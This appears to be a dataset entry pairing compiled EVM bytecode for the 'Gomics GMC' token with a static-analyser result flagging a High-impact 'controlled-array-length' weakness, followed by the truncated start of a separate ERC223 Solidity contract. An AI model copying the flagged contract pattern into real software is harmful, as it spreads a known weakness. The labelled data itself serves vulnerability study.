1836020820111156109a857600080fd5b803590602001918460208302840111640100000000831117156109ca57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190640100000000811115610a2a57600080fd5b820183602082011115610a3c57600080fd5b80359060200191846020830284011164010000000083111715610a5e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050612e8c565b005b610ab7613049565b6040518082815260200191505060405180910390f35b610b2f60048036036040811015610ae357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613051565b6040518082815260200191505060405180910390f35b610b9b60048036036060811015610b5b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506130d8565b604051808215151515815260200191505060405180910390f35b610bf760048036036020811015610bcb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613535565b6040518082815260200191505060405180910390f35b610c6360048036036060811015610c2357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050613581565b005b610ca760048036036020811015610c7b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613846565b604051808215151515815260200191505060405180910390f35b610d0360048036036020811015610cd757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061389c565b005b60008142019050919050565b6040518060400160405280600a81526020017f476f6d69637320474d430000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8557600080fd5b81600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600360149054906101000a900460ff1615610f04576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fc4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f46726f6d206163636f756e74206973206c6f636b65642e00000000000000000081525060200191505060405180910390fd5b610fcd8461396b565b610fd8848484613ddc565b90509392505050565b601281565b601260ff16600a0a631dcd65000281565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561103257600080fd5b6110c182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff16611371576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4e6f7420706175736564206e6f7700000000000000000000000000000000000081525060200191505060405180910390fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6114898383614003565b8273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146115a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600080600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106116af57fe5b906000526020600020906002020160000154600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020848154811061170b57fe5b906000526020600020906002020160010154915091509250929050565b600360149054906101000a900460ff1681565b6000806000905060008090505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561180f57611800600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106117df57fe5b90600052602060002090600202016001015483613fe490919063ffffffff16565b91508080600101915050611748565b5061182b8161181d85614155565b613fe490919063ffffffff16565b915050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a62576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110611b19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e6f206c6f636b20696e666f726d6174696f6e2e00000000000000000000000081525060200191505060405180910390fd5b611bc5600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611b6657fe5b9060005260206000209060020201600101546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110611c8957fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611cfc57fe5b9060005260206000209060020201600101819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038114611e6a57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490500381548110611dec57fe5b9060005260206000209060020201600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611e4457fe5b906000526020600020906002020160008201548160000155600182015481600101559050505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480919060019003611ebc9190614653565b505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f84576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff1615612007576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612113576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8161211d84614155565b1015612191576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b6121e2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052808342018152602001848152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508273ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b83834201604051808381526020018281526020019250505060405180910390a2505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146123dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a491381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612585576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e6720616464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b612653600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614155565b8311156126c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000081525060200191505060405180910390fd5b61273b83600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052808442018152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b84844201604051808381526020018281526020019250505060405180910390a2600190509392505050565b6040518060400160405280600381526020017f474d43000000000000000000000000000000000000000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a1d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b612a2682614155565b811115612a9b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b612aa582826141bd565b8173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a25050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b3257600080fd5b612bc182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612dee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f53656e646572206163636f756e74206973206c6f636b65642e0000000000000081525060200191505060405180910390fd5b600360149054906101000a900460ff1615612e71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f506175736564206279206f776e6572000000000000000000000000000000000081525060200191505060405180910390fd5b612e7a3361396b565b612e84838361430f565b905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612f4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600082511415612f5e57600080fd5b8051825114612f6c57600080fd5b60008090505b825181101561304457612fab838281518110612f8a57fe5b6020026020010151838381518110612f9e57fe5b6020026020010151612d2c565b50828181518110612fb857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061301a57fe5b60200260200101516040518082815260200191505060405180910390a38080600101915050612f72565b505050565b600042905090565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461319d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415613240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e6720616464726573730000000000000000000000000000000000000081525060200191505060405180910390fd5b61326b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16614155565b8311156132e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4e6f7420656e6f7567682062616c616e6365000000000000000000000000000081525060200191505060405180910390fd5b61335383600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280848152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508373ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8484604051808381526020018281526020019250505060405180910390a2600190509392505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613644576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8161364e84614155565b10156136c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f42616c616e636520697320746f6f20736d616c6c2e000000000000000000000081525060200191505060405180910390fd5b613713826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060400160405280838152602001848152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000155602082015181600101555050508273ffffffffffffffffffffffffffffffffffffffff167f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b8383604051808381526020018281526020019250505060405180910390a2505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461395f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f4e6f74206f776e6572000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61396881614326565b50565b60008090505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015613dd85742600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613a0657fe5b90600052602060002090600202016000015411613dcb57613ac9600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613a6a57fe5b9060005260206000209060020201600101546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110613b8d57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613c0057fe5b9060005260206000209060020201600101819055506001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050038114613d7757600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490500381548110613cf057fe5b9060005260206000209060020201600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613d4857fe5b906000526020600020906002020160008201548160000155600182015481600101559050508080600190039150505b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480919060019003613dc99190614653565b505b8080600101915050613971565b5050565b6000613e6d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613ef8848484614489565b3373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509392505050565b600080828401905083811015613ff957600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561403d57600080fd5b61405281600254613fe490919063ffffffff16565b6002819055506140a9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000828211156141ac57600080fd5b600082840390508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156141f757600080fd5b61420c8160025461419d90919063ffffffff16565b600281905550614263816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600061431c338484614489565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156143c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f416c7265616479206f776e65720000000000000000000000000000000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156144c357600080fd5b614514816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461419d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506145a7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613fe490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b8154818355818111156146805760020281600202836000526020600020918201910161467f9190614685565b5b505050565b6146b191905b808211156146ad5760008082016000905560018201600090555060020161468b565b5090565b9056fea265627a7a723158201748f5bd3ea5bc53cd3e34ff166f784ea1769f11521c7d90f463a6287dd309f864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 7,860 |
0x2c594e1cb006e86c3879b1d8191a8b059af52be7
|
pragma solidity ^0.4.20;
/**
* @title ContractReceiver
* @dev Receiver for ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function
* if data of token transaction is a function execution
*/
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
